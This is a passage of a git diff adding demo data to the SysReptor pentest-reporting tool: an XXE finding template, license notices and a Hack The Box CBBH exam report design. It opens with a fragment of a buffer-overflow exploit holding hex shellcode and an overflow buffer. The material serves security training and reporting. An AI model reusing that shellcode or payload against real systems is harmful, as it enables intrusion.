"\\xbf\\x19\\x0c\\x1f\\x33\\x18\\x4b\\x23\\x0c\\xe3\\x3d\\xd6\\x99\\xcf\\x3d\\x95" +sc += "\\x66\\x74\\x32\\x6a\\x62\\x43\\x3d\\xb5\\x62\\x2d\\x19\\xb3\\x99\\xcc\\xc2" + +# Change RET address if need be. +buffer = §§'\\x41'*966+struct.pack(' ]>` + +The URI can also use the `file://` protocol scheme. +Content can be loaded from local files as a result. +For example: + +` ]>` + +When evaluating XML documents, the XML parser replaces occurring XXEs with the contents by dereferencing the defined URIs. +If the URI contains manipulated data, this could have serious consequences. +An attacker can exploit this to perform server-side request forgery (SSRF) attacks and compromise the underlying server or other backend infrastructure. +XXE injection vulnerabilities can also be exploited to cause service/application downtime (denial of service) or expose sensitive data such as local system files. +""" +recommendation = """ +* The XML parser should be configured to use a local static DTD and not allow external DTDs declared in the XML document. +* We recommend limiting the functions of the XML parsing library to the minimum needed (see the documentation of the library used). +* User input should be validated before parsing if possible. +* Detailed information and help on preventing XXE injections can be found in the linked XML External Entity Prevention Cheat Sheet from OWASP. +""" +short_recommendation = "Disable support for external DTDs in the XML parsing library." +references = [ + "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html", +] +affected_components = [] + diff --git a/demo_data/htb-designs/NOTICE b/demo_data/htb-designs/NOTICE new file mode 100644 index 0000000..87e2798 --- /dev/null +++ b/demo_data/htb-designs/NOTICE @@ -0,0 +1,105 @@ +This file contains licenses of components used in the HTML/Vue template source code of designs. + +vue +MIT +The MIT License (MIT) + +Copyright (c) 2018-present, Yuxi (Evan) You + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + + +chart.js +MIT +The MIT License (MIT) + +Copyright (c) 2014-2022 Chart.js Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +chartjs-plugin-datalabels +MIT +The MIT License (MIT) + +Copyright (c) 2017-2021 chartjs-plugin-datalabels contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +lodash +MIT +The MIT License + +Copyright JS Foundation and other contributors + +Based on Underscore.js, copyright Jeremy Ashkenas, +DocumentCloud and Investigative Reporters & Editors + +This software consists of voluntary contributions made by many +individuals. For exact contribution history, see the revision history +available at https://github.com/lodash/lodash + +The following license applies to all parts of this software except as +documented below: + +==== + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +==== + +Copyright and related rights for sample code are waived via CC0. Sample +code is defined as all source code displayed within the prose of the +documentation. + +CC0: http://creativecommons.org/publicdomain/zero/1.0/ + +==== + +Files located in the node_modules and vendor directories are externally +maintained libraries used by this software which have their own +licenses; we recommend you read them, as their terms may differ from the +terms above. + diff --git a/demo_data/htb-designs/cbbh-assets/LICENSE b/demo_data/htb-designs/cbbh-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/htb-designs/cbbh-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/htb-designs/cbbh-assets/logo-transparent.png b/demo_data/htb-designs/cbbh-assets/logo-transparent.png new file mode 100644 index 0000000..640aa46 Binary files /dev/null and b/demo_data/htb-designs/cbbh-assets/logo-transparent.png differ diff --git a/demo_data/htb-designs/cbbh.toml b/demo_data/htb-designs/cbbh.toml new file mode 100644 index 0000000..7b872e9 --- /dev/null +++ b/demo_data/htb-designs/cbbh.toml @@ -0,0 +1,1246 @@ +format = "projecttypes/v1" +id = "8412f94b-7eb7-4508-9397-0e1b8da5f066" +name = "HTB CBBH Report v1.0" +language = "en-US" +finding_field_order = [ + "title", + "cwe", + "cvss", + "summary", + "impact", + "affected_components", + "recommendation", + "references", + "description", +] +report_template = """ + + + + + + +
+ +
+ HACKTHEBOX +
+ +
+

Bug Bounty Program

+

{{ report.title }}

+

Report of Findings

+

HTB Certified Bug Bounty Hunter (CBBH) Exam Report

+

Candidate Name: {{ report.candidate.a_name }}

+
+ +
+

{{ report.customer_full }}

+

{{ formatDate(report.report_date, 'long') }}

+

Version: {{ report.report_version }}

+
+ +
+ + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + + # Statement of Confidentiality {#SoC .in-toc.numbered} + The contents of this document have been developed by Hack The Box. Hack The Box considers the contents of this document to be proprietary and business confidential information. This information is to be used only in the performance of its intended use. This document may not be released to another vendor, business partner or contractor without prior written consent from Hack The Box. Additionally, no portion of this document may be communicated, reproduced, copied or distributed without the prior consent of Hack The Box. + + The contents of this document do not constitute legal advice. Hack The Box’s offer of services that relate to compliance, litigation or other legal interests are not intended as legal counsel and should not be taken as such. The assessment detailed herein is against a fictional company for training and examination purposes, and the vulnerabilities in no way affect Hack The Box external or internal infrastructure. + + + + + +
+

Engagement Contacts

+ + + + + + + + + + + + + + +
+ {{ report.customer_short }} Contacts +
ContactTitleContact Email
{{ contact.a_name }}{{ contact.b_title }}{{ contact.c_email }}
+ + + + + + + + + + + + + + + +
+ Assessor Contact +
Assessor NameTitleAssessor Contact Email
{{ report.candidate.a_name }}{{ report.candidate.b_title }}{{ report.candidate.c_email }}
+ +
+ + +
+

Executive Summary

+ + +
+

Approach

+ +
+ +
+

Scope

+ +
+ +
+

Assessment Overview and Recommendations

+ +
+ +
+ + +
+

Web Application Assessment Summary

+ + +
+

Summary of Findings

+ +

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ +
+ +
Distribution of identified vulnerabilities
+
+ + +

+ Below is a high-level overview of each finding identified during testing. These findings are covered in depth in the + Technical Findings Details section of this report. +

+ + + + + + + + + + + + + + + + + +
#Severity LevelFinding NamePage
+
+ +
+ +
+

Technical Findings Details

+ +
+

+ {{ finding.title }} - + {{ lodash.capitalize(finding.cvss.level) }} +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CWE + {{ finding.cwe || '-' }} +
CVSS 3.1 + N/A + {{ finding.cvss.score}} / {{ finding.cvss.vector }} +
Root Cause + +
Impact + +
Affected Component + - + {{ finding.affected_components[0] + }} +
    +
  • {{ c }}
  • +
+
Remediation + +
References + - + {{ finding.references[0] }} +
    +
  • {{ r }}
  • +
+
+ +
+

Finding Evidence

+ +
+ + +
+
+ +
+

Appendix

+ +
+

Flags Discovered

+ + +
+ +
+

{{ appendix_additional_section.title }}

+ + +
+
+ +
+
+ End of Report +
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #ffc400; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-highlight: #9FEF00; + --color-secondary: #A6B0CB; + + --color-table-header: #9FEF00; + --color-table-row-even: #A4B1CD; + --color-table-row-odd: #BFC8DC; + --color-table-content: #151515; + + --color-page-background: #161D2A; +} + +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; + background-color: var(--color-page-background); +} + +/* Font */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; + color: white; +} +h1, h2, h3, h4, h5, h6 { + color: var(--color-highlight); +} + +/* Justify text */ +p { + text-align: justify; + text-align-last: start; +} + +a { + color: var(--color-secondary); /* Set the color of unvisited links */ + text-decoration: underline; /* Remove the underline from unvisited links */ +} + + +/* Table styling */ +table, th, td { + border: 1px solid white; +} +th { + background-color: var(--color-table-header); + color: var(--color-table-content); +} +th, td { + padding: 0.2em 0.5em 0.2em 0.5em; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.2em 0.5em 0.2em 0.5em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +td.table-key { + height: 3em; + width: 10em; +} +tr{ + color: var(--color-table-content); +} +tr:nth-child(even) { + background-color: var(--color-table-row-even) +} +tr:nth-child(odd) { + background-color: var(--color-table-row-odd) +} + + +/* Code block styling */ +pre code { + border: 1px solid white; + padding: 0.2em !important; +} +code { + color: var(--color-highlight); + background-color: inherit; +} + +.code-important{ + background-color: yellow; + color: red; + font-style: italic; +} + +/* Footnotes */ +@page { + @footnote { + border-top: 1px solid white; + } +} +footnote { + font-size: 8pt; +} + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page .ref-title, .ref-finding-number .ref-title { + display: none !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-finding-number::before { + content: target-counter(attr(href), finding-number); +} + +.findings-list { + counter-reset: finding-number; +} +.finding-number { + color: white; +} +.finding-number::before { + counter-increment: finding-number; + content: counter(finding-number) ". "; +} + + + +/* Finding */ +.finding-header .table-key { + height: 3em; + width: 10em; +} +.finding-header tr { + break-inside: auto; +} +.finding-header-color{ + font-size: 12pt; + color: white !important; +} + + + + +/*CSS classes for multiple systems */ +.finding-systems { + padding-left: 1em; +} +.finding-systems-cols { + column-count: 2; + padding-top: 1em; + margin-bottom: 1em; +} + + +/*Draft Watermark*/ +#watermark-draft { + position: fixed; + top: 8cm; + left: 2cm; + transform: rotate(-45deg); + font-size: 110pt; + text-transform: uppercase; + opacity: 0.2; +} + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + +/* #region header */ +@page { + margin-top: 35mm; + + --header-margin-bottom: 5mm; + + @top-left-corner { + content: ""; + margin-bottom: var(--header-margin-bottom); + border-bottom: 2px dotted white; + } + @top-left { + content: element(header-left); + margin-bottom: var(--header-margin-bottom); + border-bottom: 2px dotted white; + width: 100%; + } + @top-right-corner { + content: ""; + margin-bottom: var(--header-margin-bottom); + border-bottom: 2px dotted white; + } +} +#header-left { + position: running(header-left); + display: flex; + flex-direction: row; + align-items: center; +} +#header-logo { height: 20mm; } +#header-text { font-size: 14pt; margin-left: -3mm; } +/* #endregion header */ + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer-left { position: running(footer-left); } +#footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region page-cover */ +#page-cover-logo { + position: absolute; + top: 5%; + left: 2cm; + height: 6cm; + transform: translate(-50%, -50%); + display: inline-block +} + +#page-cover-logo-title { + position: absolute; + top: 5%; + left: 9.5cm; + transform: translate(-50%, -50%); + display: inline-block; + font-size: 42pt; +} + +#page-cover-title { + position: absolute; + top: 40%; + left: 50%; + width: 14cm; + transform: translate(-50%, -50%); + text-align: center; +} +#page-cover-title h1 { + font-size: 32pt; + color: white; +} +#page-cover-title h2 { + font-size: 24pt; + color: white; +} +#page-cover-title h3 { + font-size: 12pt; + color: white; +} +#page-cover-report-title{ + color: var(--color-highlight) !important; +} + +#page-cover-recipient { + position: absolute; + top: 80%; + left: 50%; + width: 14cm; + transform: translate(-50%, -50%); + display: inline-block; + text-align: right; +} + +#page-cover-recipient h1 { + font-size: 16pt; + color: var(--color-highlight); +} +#page-cover-recipient h2 { + font-size: 12pt; + color: var(--color-secondary); +} + +@page :first { + /* Hide header */ + @top-left-corner { content: none !important; } + @top-left { content: none !important; } + @top-right-corner { content: none !important; } + /* Hide footer (except "confidential") */ + @bottom-center { content: none !important; } + @bottom-right-corner { content: none !important; } +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; + color: var(--color-secondary); +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 14pt; + margin-top: 0.8em; + color: white; +} +#toc .toc-level2 { + font-size: 12pt; + margin-top: 0.5em; + margin-left: 1em; +} +#toc .toc-level3 { + font-size: 10pt; + margin-top: 0.4em; + margin-left: 2em; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Report Title" +origin = "core" +default = "TODO Private Web Application" +required = true +spellcheck = false + +[report_fields.scope] +type = "markdown" +label = "Scope" +origin = "custom" +default = """ +The scope of this assessment was as follows TODO *.tricolor.local and any and all open web server ports discovered on the target IP address provided at the start of the assessment. + +### In Scope Assets +| Host/URL/IP Address | Description | +|:---|:---| +| TODO www.triclor.local | Main Tricolor website/unauthenticated | +| TODO exam IP address | PR website/unauthenticated | +| TODO exam IP address | Jobs Portal/unauthenticated | +| TODO exam IP address | HR website/unauthenticated | +| TODO exam IP address | Tricolor online store/unauthenticated | +""" +required = true + +[report_fields.candidate] +type = "object" +label = "HTB Candidate" +origin = "custom" + +[report_fields.candidate.properties] +[report_fields.candidate.properties.a_name] +type = "string" +label = "Full Name" +origin = "custom" +default = "TODO Candidate Name" +required = true +spellcheck = false + +[report_fields.candidate.properties.b_title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO Candidate Title" +required = true +spellcheck = false + +[report_fields.candidate.properties.c_email] +type = "string" +label = "Email" +origin = "custom" +default = "TODO Candidate Email" +required = true +spellcheck = false + +[report_fields.pentest_end] +type = "date" +label = "Pentest End" +origin = "custom" +required = true + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.customer_full] +type = "string" +label = "Customer" +origin = "custom" +default = "TODO Customer Ltd." +required = true +spellcheck = false + +[report_fields.pentest_start] +type = "date" +label = "Pentest Start" +origin = "custom" +required = true + +[report_fields.appendix_flags] +type = "markdown" +label = "Flags Discovered" +origin = "custom" +default = """ +| Flag # | Application | Flag Value | Flag Location | Method Used | +| ------- | ------- | ------- | ------- | ------- | +| 1. | TODO HOSTNAME | TODO HTB RANDOM VALUE | TODO Web root | TODO Command Injection (example) | +| 2. | | | | | +| 3. | | | | | +| 4. | | | | | +| 5. | | | | | +| 6. | | | | | +| 7. | | | | | +| 8. | | | | | +| 9. | | | | | +| 10. | | | | | +""" +required = false + +[report_fields.customer_short] +type = "string" +label = "Customer (abbreviated)" +origin = "custom" +default = "TODO Customer" +required = true +spellcheck = false + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "TODO 1.0" +required = true +spellcheck = false + +[report_fields.finding_summary] +type = "markdown" +label = "Summary of Findings" +origin = "custom" +default = "During the course of testing, {{ report.candidate.a_name }} uncovered a total of {{ finding_stats.count_total }} findings that pose a material risk to {{ report.customer_short }}’s information systems. The below chart provides a summary of the findings by severity level." +required = true + +[report_fields.pentest_approach] +type = "enum" +label = "Pentest Approach" +origin = "custom" +default = "BLACKBOX" +required = true + +[[report_fields.pentest_approach.choices]] +label = "Black Box" +value = "BLACKBOX" + +[[report_fields.pentest_approach.choices]] +label = "Grey Box" +value = "GREYBOX" + +[[report_fields.pentest_approach.choices]] +label = "White Box" +value = "WHITEBOX" + +[report_fields.customer_contacts] +type = "list" +label = "Customer Contacts" +origin = "custom" +required = true + +[report_fields.customer_contacts.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.customer_contacts.items.properties] +[report_fields.customer_contacts.items.properties.a_name] +type = "string" +label = "Name" +origin = "custom" +default = "TODO Name" +required = true +spellcheck = false + +[report_fields.customer_contacts.items.properties.b_title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO Title" +required = true +spellcheck = false + +[report_fields.customer_contacts.items.properties.c_email] +type = "string" +label = "Email" +origin = "custom" +default = "TODO Email" +required = true +spellcheck = false + +[report_fields.executive_summary] +type = "markdown" +label = "Executive Summary" +origin = "custom" +default = """ +{{ report.customer_full }} (“{{ report.customer_short }}” herein) invited {{ report.candidate.a_name }} to a private bug bounty program to perform a targeted Web Application Penetration Test of {{ report.customer_short }}’s externally facing web applications to identify high-risk security weaknesses, determine the impact to {{ report.customer_short }}, document all findings in a clear and repeatable manner, and provide remediation recommendations. The following types of findings were in-scope for this private bug bounty program: + +* Sensitive or personally identifiable information disclosure +* Cross-Site Scripting (XSS) +* Server-side or remote code execution (RCE) +* Arbitrary file upload +* Authentication or authorization flaws, such as insecure direct object references (IDOR), and authentication bypasses +* All forms of injection vulnerabilities +* Directory traversal +* Local file read +* Significant security misconfigurations and business logic flaws +* Exposed credentials that could be leveraged to gain further access + +The following types of activities were considered out-of-scope for this bug bounty program: + +* Scanning and assessing any other IP in the Entry Point's network +* Physical attacks against {{ report.customer_short }} properties +* Unverified scanner output +* Man-in-the-Middle attacks +* Any vulnerabilities identified through DDoS or spam attacks +* Self-XSS +* Login/logout CSRF +* Issues with SSL certificates, open ports, TLS versions, or missing HTTP response headers +* Vulnerabilities in third party libraries unless they can be leveraged to significantly impact the target +* Any theoretical attacks or attacks that require significant user interaction or low risk + +{{ report.candidate.a_name }} performed testing under a “{{ report.pentest_approach.label }}” approach from {{ formatDate(report.pentest_start, 'long') }}, to {{ formatDate(report.pentest_end, 'long') }} without credentials or any advance knowledge of {{ report.customer_short }}’s web applications with the goal of identifying unknown weaknesses. Testing was performed from a non-evasive standpoint with the goal of uncovering as many misconfigurations and vulnerabilities as possible. Testing was performed remotely. Each weakness identified was documented and manually investigated to determine exploitation possibilities and escalation potential. {{ report.candidate.a_name }} sought to demonstrate the full impact of every vulnerability, up to and including internal network access. +""" +required = true + +[report_fields.assessment_overview] +type = "markdown" +label = "Assessment Overview and Recommendations" +origin = "custom" +default = """ +During the course of testing against {{ report.candidate.a_name }} identified ... + +TODO SUMMARY OF FINDINGS AND RECOMMENDATIONS HERE +""" +required = true + +[report_fields.web_application_summary] +type = "markdown" +label = "Web Application Security Assessment Summary" +origin = "custom" +default = "{{ report.candidate.a_name }} began all testing activities from the perspective of an unauthenticated user on the internet. {{ report.customer_short }} provided the tester with a single URL and IP address but did not provide additional information such as operating system or configuration information." +required = true + +[report_fields.appendix_additional_sections] +type = "list" +label = "Additional Appendix" +origin = "custom" +required = false + +[report_fields.appendix_additional_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_additional_sections.items.properties] +[report_fields.appendix_additional_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO Appendix Title" +required = true +spellcheck = false + +[report_fields.appendix_additional_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO Additional Appendix" +required = true + +[[report_sections]] +id = "meta" +label = "Meta" +fields = [ + "candidate", + "title", + "customer_full", + "customer_short", + "pentest_approach", + "pentest_start", + "pentest_end", + "report_date", + "report_version", +] + +[[report_sections]] +id = "document_control" +label = "Document Control" +fields = [ + "customer_contacts", +] + +[[report_sections]] +id = "executive_summary" +label = "Executive Summary" +fields = [ + "executive_summary", + "scope", + "assessment_overview", +] + +[[report_sections]] +id = "overview_summary" +label = "Web Application Security Assessment Summary" +fields = [ + "web_application_summary", + "finding_summary", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_flags", + "appendix_additional_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Titel" +origin = "core" +default = "TODO FINDING TITLE" +required = true +spellcheck = false + +[finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "predefined" +default = "n/a" +required = true + +[finding_fields.summary] +type = "markdown" +label = "Overview" +origin = "predefined" +default = "TODO DESCRIPTION" +required = true + +[finding_fields.impact] +type = "markdown" +label = "Impact" +origin = "predefined" +default = "TODO IMPACT" +required = true + +[finding_fields.description] +type = "markdown" +label = "Details" +origin = "predefined" +default = """ +``` +ADD COMMAND OUTPUT AS APPROPRIATE +``` + +TODO ADD SCREENSHOTS AS APPROPRIATE +""" +required = false + +[finding_fields.recommendation] +type = "markdown" +label = "Recommendation" +origin = "predefined" +default = "TODO REMEDIATION" +required = true + +[finding_fields.cwe] +type = "string" +label = "CWE" +origin = "custom" +default = "TODO CWE" +required = false +spellcheck = false + +[finding_fields.references] +type = "list" +label = "References" +origin = "predefined" +required = false + +[finding_fields.references.items] +type = "string" +label = "Reference" +origin = "predefined" +default = "TODO REFERENCES" +required = true +spellcheck = false + +[finding_fields.affected_components] +type = "list" +label = "Affected Components" +origin = "predefined" +required = false + +[finding_fields.affected_components.items] +type = "string" +label = "Component" +origin = "predefined" +default = "TODO AFFECTED COMPONENT" +required = true +spellcheck = false + +[[finding_ordering]] +field = "cvss" +order = "desc" + +[[finding_ordering]] +field = "title" +order = "asc" + +[report_preview_data] +[report_preview_data.report] +title = "Trilocor Private Web Application" +scope = """ +The scope of this assessment was as follows TODO *.tricolor.local and any and all open web server ports discovered on the target IP address provided at the start of the assessment. + +### In Scope Assets +| Host/URL/IP Address | Description | +|:---|:---| +| TODO www.trilocor.local | Main Tricolor website/unauthenticated | +| TODO exam IP address | PR website/unauthenticated | +| TODO exam IP address | Jobs Portal/unauthenticated | +| TODO exam IP address | HR website/unauthenticated | +| TODO exam IP address | Tricolor online store/unauthenticated | +""" +report_date = "2023-05-31" +report_version = "1.0" +executive_summary = """ +{{ report.customer_full }} (“{{ report.customer_short }}” herein) invited {{ report.candidate.a_name }} to a private bug bounty program to perform a targeted Web Application Penetration Test of Trilocor’s externally facing web applications to identify high-risk security weaknesses, determine the impact to Trilocor, document all findings in a clear and repeatable manner, and provide remediation recommendations. The following types of findings were in-scope for this private bug bounty program: + +* Sensitive or personally identifiable information disclosure +* Cross-Site Scripting (XSS) +* Server-side or remote code execution (RCE) +* Arbitrary file upload +* Authentication or authorization flaws, such as insecure direct object references (IDOR), and authentication bypasses +* All forms of injection vulnerabilities +* Directory traversal +* Local file read +* Significant security misconfigurations and business logic flaws +* Exposed credentials that could be leveraged to gain further access + +The following types of activities were considered out-of-scope for this bug bounty program: + +* Scanning and assessing any other IP in the Entry Point's network +* Physical attacks against Trilocor properties +* Unverified scanner output +* Man-in-the-Middle attacks +* Any vulnerabilities identified through DDoS or spam attacks +* Self-XSS +* Login/logout CSRF +* Issues with SSL certificates, open ports, TLS versions, or missing HTTP response headers +* Vulnerabilities in third party libraries unless they can be leveraged to significantly impact the target +* Any theoretical attacks or attacks that require significant user interaction or low risk + +{{ report.candidate.a_name }} performed testing under a “{{ report.pentest_approach.label }}” approach from {{ formatDate(report.pentest_start, 'long') }}, to {{ formatDate(report.pentest_end, 'long') }} without credentials or any advance knowledge of {{ report.customer_short }}’s web applications with the goal of identifying unknown weaknesses. Testing was performed from a non-evasive standpoint with the goal of uncovering as many misconfigurations and vulnerabilities as possible. Testing was performed remotely. Each weakness identified was documented and manually investigated to determine exploitation possibilities and escalation potential. {{ report.candidate.a_name }} sought to demonstrate the full impact of every vulnerability, up to and including internal network access. +""" +customer_short = "Trilocor" +customer_full = "Trilocor Robotics Ltd." +pentest_start = "2023-05-12" +pentest_end = "2023-05-31" +pentest_approach = "BLACKBOX" +assessment_overview = """ +During the course of testing against {{ report.candidate.a_name }} identified ... + +TODO SUMMARY OF FINDINGS AND RECOMMENDATIONS HERE +""" +finding_summary = "During the course of testing, {{ report.candidate.a_name }} uncovered a total of {{ finding_stats.count_total }} findings that pose a material risk to {{ report.customer_short }}’s information systems. The below chart provides a summary of the findings by severity level." +appendix_flags = """ +| Flag # | Application | Flag Value | Flag Location | Method Used | +| ------- | ------- | ------- | ------- | ------- | +| 1. TODO | Main | HTB random value | Web root | Command Injection (example) | +| 2. | | | | | +| 3. | | | | | +| 4. | | | | | +| 5. | | | | | +| 6. | | | | | +| 7. | | | | | +| 8. | | | | | +| 9. | | | | | +| 10. | | | | | +""" +appendix_additional_sections = [] +web_application_summary = "{{ report.candidate.a_name }} began all testing activities from the perspective of an unauthenticated user on the internet. {{ report.customer_short }} provided the tester with a single URL and IP address but did not provide additional information such as operating system or configuration information." + +[[report_preview_data.report.customer_contacts]] +a_name = "Yelon Husk" +b_title = "Chief Executive Officer" +c_email = "yelon@trilocor.local" + +[[report_preview_data.report.customer_contacts]] +a_name = "Zeyad AlMadani" +b_title = "Chief Technical Officer" +c_email = "zeyad@trilocor.local" + +[report_preview_data.report.candidate] +a_name = "" +b_title = "Security Consultant" +c_email = "" + +[[report_preview_data.findings]] +title = "SQL Injection" +cvss = "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" +summary = "The application does not properly sanitize input data, allowing an unauthenticated attacker to inject SQL code into database queries. TODO EXAMPLE FINDING" +impact = "A successful SQL injection attack can result in access to sensitive data from the database, modifications to database data (Insert/Update/Delete), execution of administration operations on the database (such as shutting down the DBMS), recovering the contents of a given file present on the DBMS file system and in some cases issuing commands on the underlying operating system." +description = """ +**Note to candidate:** Finding evidence should include detailed reproduction steps, showing how you discovered the vulnerability, exploitation steps, and a screenshot showing the flag obtained using the vulnerability (if it resulted in discovery of a flag). It should be possible to easily recreate each finding from the evidence & steps you provide. If you are having trouble with reporting or would like to see a sample of the type of report we expect for a passing grade, check out the Documentation and Reporting module on HTB Academy. + + + +TODO INSERT REPRODUCTION STEPS AND SCREENSHOTS AS 